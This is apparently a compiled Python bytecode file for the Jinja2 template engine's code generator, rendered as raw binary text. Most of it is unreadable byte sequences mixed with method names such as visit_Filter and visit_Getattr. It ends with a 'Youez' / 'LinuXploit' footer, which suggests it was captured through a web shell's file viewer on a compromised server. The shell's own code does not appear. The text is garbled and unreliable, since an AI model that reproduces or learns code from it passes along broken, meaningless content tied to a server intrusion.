zCodeGenerator.visit_AssignBlockcCs�|jdkr(|jr(|jr(|jdj|j�|jj|j�}|jdkr�|jj|�}|dk	oj|dtkoj|j	|�s�|j
d|j||f�dS|j
|�dS)Nrrhrvrz-(undefined(name=%r) if %s is missing else %s)r�)rwr[r�rrr5rZr�Z	find_loadrr�r�)r'r(r)r�rvr,r,r-ryws
zCodeGenerator.visit_NamecCsR|jj|j�}|jd|�|j�|jdd�|j�|jd||jf�dS)Nz!if not isinstance(%s, Namespace):zraise TemplateRuntimeError(%r)z/cannot assign attribute on non-namespace objectz%s[%r])rZr�r5r�r�r��attr)r'r(r)r�r,r,r-�visit_NSRef�szCodeGenerator.visit_NSRefcCs8|j|j�}t|t�r&|jt|��n|jt|��dS)N)rr#r0r?r��strr�)r'r(r)rr,r,r-�visit_Const�s
zCodeGenerator.visit_ConstcCsFy|jt|j|j���Wn&tjk
r@|jd|j�YnXdS)Nz9(Markup if context.eval_ctx.autoescape else identity)(%r))r�r�rr#rr�data)r'r(r)r,r,r-�visit_TemplateData�s
z CodeGenerator.visit_TemplateDatacCsZ|jd�d}x0t|j�D]"\}}|r0|jd�|j||�qW|j|dkrPdpRd�dS)N�(rhz, rz,)r�r�)r�r�r!r&)r'r(r)r�rHr,r,r-�visit_Tuple�s

zCodeGenerator.visit_TuplecCsJ|jd�x0t|j�D]"\}}|r,|jd�|j||�qW|jd�dS)N�[z, �])r�r�r!r&)r'r(r)r�rHr,r,r-�
visit_List�s

zCodeGenerator.visit_ListcCsd|jd�xJt|j�D]<\}}|r,|jd�|j|j|�|jd�|j|j|�qW|jd�dS)N�{z, z: r�)r�r�r!r&rIrG)r'r(r)r�rHr,r,r-�
visit_Dict�s


zCodeGenerator.visit_Dictcst�fdd��}|S)Ncs�|jjrJ�|jjkrJ|jd��|j|j|�|jd�|j|j|�n4|jd�|j|j|�|jd��|j|j|�|jd�dS)Nz$environment.call_binop(context, %r, z, r+z %s r�)r4�	sandboxedZintercepted_binopsr�r&�left�right)r'r(r))�operatorr,r-rN�s

z$CodeGenerator.binop.<locals>.visitor)r/)r5�
interceptablerNr,)r5r-�binop�szCodeGenerator.binopcst�fdd��}|S)Ncs\|jjr2�|jjkr2|jd��|j|j|�n|jd��|j|j|�|jd�dS)Nz#environment.call_unop(context, %r, r+r�)r4r2Zintercepted_unopsr�r&r()r'r(r))r5r,r-rN�sz#CodeGenerator.uaop.<locals>.visitor)r/)r5r6rNr,)r5r-�uaop�s
zCodeGenerator.uaop�+�-�*�/z//z**r�and)r6�orznot cCsb|jjrd}n|jjrd}nd}|jd|�x$|jD]}|j||�|jd�q6W|jd�dS)Nz;(context.eval_ctx.volatile and markup_join or unicode_join)Zmarkup_joinZunicode_joinz%s((z, z)))r#r$r�r�rr&)r'r(r)r�r�r,r,r-�visit_Concat�szCodeGenerator.visit_ConcatcCs.|j|j|�x|jD]}|j||�qWdS)N)r&rZops)r'r(r)�opr,r,r-�
visit_Compare�szCodeGenerator.visit_ComparecCs&|jdt|j�|j|j|�dS)Nz %s )r��	operatorsr@r&r)r'r(r)r,r,r-�
visit_OperandszCodeGenerator.visit_OperandcCs,|jd�|j|j|�|jd|j�dS)Nzenvironment.getattr(z, %r))r�r&r(r%)r'r(r)r,r,r-�
visit_Getattrs
zCodeGenerator.visit_GetattrcCs~t|jtj�r@|j|j|�|jd�|j|j|�|jd�n:|jd�|j|j|�|jd�|j|j|�|jd�dS)Nr-r.zenvironment.getitem(z, r�)r0r�rZSlicer&r(r�)r'r(r)r,r,r-�
visit_Getitem
s


zCodeGenerator.visit_GetitemcCs`|jdk	r|j|j|�|jd�|jdk	r:|j|j|�|jdk	r\|jd�|j|j|�dS)Nr)�startr&r��stopr�)r'r(r)r,r,r-�visit_Slices




zCodeGenerator.visit_SlicecCs,|jjr|jd�|j|j|jd�|jjj|j�}|dkrT|jd|j|j�t|dd�rl|jd�n.t|dd�r�|jd�nt|d	d�r�|jd
�|j	dk	r�|j
|j	|�nJ|jjr�|jd|j
|j
f�n*|jjr�|jd|j
�n|jd
|j
�|j||�|jd�|jj�r(|jd�dS)Nzawait auto_await(r+zno filter named %rZ
contextfilterFz	context, Zevalcontextfilterzcontext.eval_ctx, Zenvironmentfilterz
environment, zB(context.eval_ctx.autoescape and Markup(concat(%s)) or concat(%s))zMarkup(concat(%s))z
concat(%s)r�)r4r�r�ror5�getr�r�r�r(r&r#r$r^r�r�)r'r(r)r�r,r,r-rs#s0




zCodeGenerator.visit_FiltercCs`|j|j|jd�|j|jjkr8|jd|j|j�|j|j|�|j||�|jd�dS)Nr+zno test named %rr�)	r�rpr5r4r�r�r&r(r�)r'r(r)r,r,r-rtCszCodeGenerator.visit_Testcs^���fdd�}�jd��j�j���jd��j�j���jd�|��jd�dS)Ncs4�jdk	r�j�j��S�jdd�j���dS)Nz
undefined(%r)zRthe inline if-expression on %s evaluated to false and no else section was defined.)Zexpr2r&r�r�r,)r)r(r'r,r-�write_expr2Ns
z1CodeGenerator.visit_CondExpr.<locals>.write_expr2r+z if z else r�)r�r&Zexpr1r)r'r(r)rJr,)r)r(r'r-�visit_CondExprLs


zCodeGenerator.visit_CondExprcCs||jjr|jd�|jjr&|jd�n
|jd�|j|j|�|rJddipLd}|j|||�|jd�|jjrx|jd�dS)Nzawait auto_await(zenvironment.call(context, z
context.call(r�r�)r4r�r�r2r&r(r�)r'r(r)rr�r,r,r-r]s


zCodeGenerator.visit_CallcCs"|j|jd�|j|j|�dS)N�=)r�rIr&rG)r'r(r)r,r,r-�
visit_KeywordlszCodeGenerator.visit_KeywordcCs&|jd�|j|j|�|jd�dS)NzMarkup(r�)r�r&r)r'r(r)r,r,r-�visit_MarkSafers
zCodeGenerator.visit_MarkSafecCs&|jd�|j|j|�|jd�dS)Nz5(context.eval_ctx.autoescape and Markup or identity)(r�)r�r&r)r'r(r)r,r,r-�visit_MarkSafeIfAutoescapews
z(CodeGenerator.visit_MarkSafeIfAutoescapecCs|jd|j�dS)Nzenvironment.)r�r5)r'r(r)r,r,r-�visit_EnvironmentAttribute|sz(CodeGenerator.visit_EnvironmentAttributecCs|jd|j|jf�dS)Nzenvironment.extensions[%r].%s)r�Z
identifierr5)r'r(r)r,r,r-�visit_ExtensionAttributesz&CodeGenerator.visit_ExtensionAttributecCs|j|j|j�dS)N)r�r}r�)r'r(r)r,r,r-�visit_ImportedName�sz CodeGenerator.visit_ImportedNamecCs|j|j�dS)N)r�r5)r'r(r)r,r,r-�visit_InternalName�sz CodeGenerator.visit_InternalNamecCs|jd�dS)Nr|)r�)r'r(r)r,r,r-�visit_ContextReference�sz$CodeGenerator.visit_ContextReferencecCs|jd|�dS)N�continue)r�)r'r(r)r,r,r-�visit_Continue�szCodeGenerator.visit_ContinuecCs|jd|�dS)N�break)r�)r'r(r)r,r,r-�visit_Break�szCodeGenerator.visit_BreakcCs:|j�}|jj|�|j|�|j|j|�|j|�dS)N)rjrZr�r�r�r�r�)r'r(r)�scope_framer,r,r-�visit_Scope�s

zCodeGenerator.visit_ScopecCs�|j�}|jd||j|�f�|jd|�|j|j|�|j|�|jdd�}|jj|�|j	|�|j
|j|�|j|�|j
�dS)Nz%s = %sz
%s.vars = T)ri)r�r�r�r&r|r�rjrZr�r�r�r�r�r�)r'r(r)rwrYr,r,r-�visit_OverlayScope�s


z CodeGenerator.visit_OverlayScopec
Cstxn|jD]d}|jd|j�|j|j|�y|jj|j�}Wntjk
rZd|j_	YqXt
|j|j|�qWdS)Nzcontext.eval_ctx.%s = T)Zoptionsr�rIr&rGrr#rrr$�setattr)r'r(r)�keywordrr,r,r-�visit_EvalContextModifier�sz'CodeGenerator.visit_EvalContextModifiercCsf|j�}|jj�}|jd|�|j||�x|jD]}|j||�q4W|jj|�|jd|�dS)Nz%s = context.eval_ctx.save()zcontext.eval_ctx.revert(%s))r�r#Zsaver�r^r�r&Zrevert)r'r(r)Zold_ctx_nameZ	saved_ctxrr,r,r-�visit_ScopedEvalContextModifier�s
z-CodeGenerator.visit_ScopedEvalContextModifier)NFT)F)rh)N)N)Nr)Nr)N)F)N)T)T)F)drUrVrWrTr�r�r^r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rur�r�r�r�rr	r
r
rrrr"r#r$ryr&r(r*r,r/r1r7r8Z	visit_AddZ	visit_SubZ	visit_MulZ	visit_DivZvisit_FloorDivZ	visit_PowZ	visit_ModZ	visit_AndZvisit_OrZ	visit_PosZ	visit_NegZ	visit_Notr/r?rArCrDrErHrsrtrKrrMrNrOrPrQrRrSrTrVrXrZr[r^r_r,r,r,r-r{�s�
B






5

M		
t /6;	




 	r{)NFT)=rl�	itertoolsrrfrr]rr��	functoolsrZjinja2rZjinja2.nodesrZjinja2.visitorrZjinja2.optimizerr	Zjinja2.exceptionsr
Zjinja2.utilsrrr
Zjinja2._compatrrrrrrrZjinja2.idtrackingrrrrrrBrrFr�r��execr��SyntaxErrorr�r/r9rErOrarPrX�RuntimeErrorrKrnrJrrzr{r,r,r,r-�<module>
s\$



	>

Youez - 2016 - github.com/yon3zu
LinuXploit